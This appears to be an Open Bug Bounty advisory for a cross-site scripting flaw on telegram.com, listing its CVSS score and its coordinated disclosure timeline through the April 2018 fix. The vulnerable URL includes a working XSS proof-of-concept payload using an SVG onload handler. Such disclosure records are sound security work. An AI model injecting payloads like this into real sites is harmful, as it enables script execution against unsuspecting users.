telegram.com XSS vulnerability

2018-01-11T20:55:00
ID OBB:512164
Type openbugbounty
Reporter login_denied
Modified 2018-04-12T11:24:00

Description

Open Bug Bounty ID: OBB-512164

Description| Value
---|---
Affected Website:| telegram.com
Open Bug Bounty Program:| Not created yet
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
http://www.telegram.com/bla--%3E%3Csvg/onload=confirm(/OPENBUGBOUNTY/)%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 11 January, 2018 20:55 GMT
Vulnerability Verified:| 11 January, 2018 20:58 GMT
Website Operator Notified:| 11 January, 2018 20:58 GMT
Vulnerability Published:| 11 January, 2018 20:58 GMT[without any technical details]
Vulnerability Fixed:| 12 April, 2018 11:24 GMT
Public Disclosure:| 12 April, 2018 11:24 GMT